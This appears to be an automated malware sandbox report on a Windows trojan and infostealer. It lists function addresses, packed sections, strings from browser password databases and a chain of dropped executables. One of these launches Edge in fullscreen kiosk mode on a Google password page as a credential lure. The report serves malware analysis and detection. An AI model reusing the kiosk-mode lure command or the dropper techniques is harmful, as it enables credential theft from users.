Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA9C360	7_2_6CA9C360
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA16370	7_2_6CA16370
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C988340	7_2_6C988340
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAC2370	7_2_6CAC2370
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C982370	7_2_6C982370
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA41CE0	7_2_6CA41CE0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CABDCD0	7_2_6CABDCD0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C991C30	7_2_6C991C30
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C983C40	7_2_6C983C40
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAA9C40	7_2_6CAA9C40
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C973D80	7_2_6C973D80
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAC9D90	7_2_6CAC9D90
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA51DC0	7_2_6CA51DC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9E3D00	7_2_6C9E3D00
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9A3EC0	7_2_6C9A3EC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA8DE10	7_2_6CA8DE10
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CB05E60	7_2_6CB05E60
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CADBE70	7_2_6CADBE70
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9A1F90	7_2_6C9A1F90
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA2BFF0	7_2_6CA2BFF0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CA9DFC0	7_2_6CA9DFC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CB03FC0	7_2_6CB03FC0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAD7F20	7_2_6CAD7F20
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C975F30	7_2_6C975F30

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: String function: 6C90CBE8 appears 134 times
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: String function: 6C9194D0 appears 90 times
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: String function: 6C9A9B10 appears 73 times
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: String function: 6CAB9F30 appears 31 times
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: String function: 6C9A3620 appears 72 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9994770321038251
Source: file.exe	Static PE information: Section: gmovqjaa ZLIB complexity 0.9943861573657365
Source: explorti.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9994770321038251
Source: explorti.exe.0.dr	Static PE information: Section: gmovqjaa ZLIB complexity 0.9943861573657365
Source: random[1].exe.6.dr	Static PE information: Section: ylafldxq ZLIB complexity 0.9947574327422807
Source: eb98fe5174.exe.6.dr	Static PE information: Section: ylafldxq ZLIB complexity 0.9947574327422807
Source: 53c7d901f1.exe.6.dr	Static PE information: Section: ylafldxq ZLIB complexity 0.9947574327422807

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@98/516@20/12

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Code function: 7_2_6C937030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

7_2_6C937030

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

File created: C:\Users\user\AppData\Roaming\1000051000\

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: eb98fe5174.exe, 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmp, eb98fe5174.exe, 00000007.00000002.2668816890.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: eb98fe5174.exe, 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmp, eb98fe5174.exe, 00000007.00000002.2668816890.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: eb98fe5174.exe, 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmp, eb98fe5174.exe, 00000007.00000002.2668816890.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: eb98fe5174.exe, 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmp, eb98fe5174.exe, 00000007.00000002.2668816890.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: eb98fe5174.exe, eb98fe5174.exe, 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmp, eb98fe5174.exe, 00000007.00000002.2668816890.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: eb98fe5174.exe, 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmp, eb98fe5174.exe, 00000007.00000002.2668816890.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: eb98fe5174.exe, 00000007.00000002.2668816890.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: eb98fe5174.exe, 00000007.00000003.2493810088.000000001D3B8000.00000004.00000020.00020000.00000000.sdmp, HDAFIIDAKJDGDHIDAKJJ.7.dr, Login Data.13.dr, Login Data.21.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: eb98fe5174.exe, 00000007.00000002.2668816890.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: eb98fe5174.exe, 00000007.00000002.2668816890.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2654833757.000000001D4FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.7.dr, softokn3.dll.7.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 56%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: eb98fe5174.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe "C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe "C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe "C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe"
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2064,i,2067255111273932546,8949113653420219710,262144 --disable-features=TranslateUI /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2616 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4612 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7040 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6416 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6416 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3056 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4132 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6108 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6108 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1160,i,17042684596641100279,13993029759771197311,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1684 --field-trial-handle=2064,i,2036512315538271588,12735040485945945240,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe "C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe "C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe "C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3056 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2064,i,2067255111273932546,8949113653420219710,262144 --disable-features=TranslateUI /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2616 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4612 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7040 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6416 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6416 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3056 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4132 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
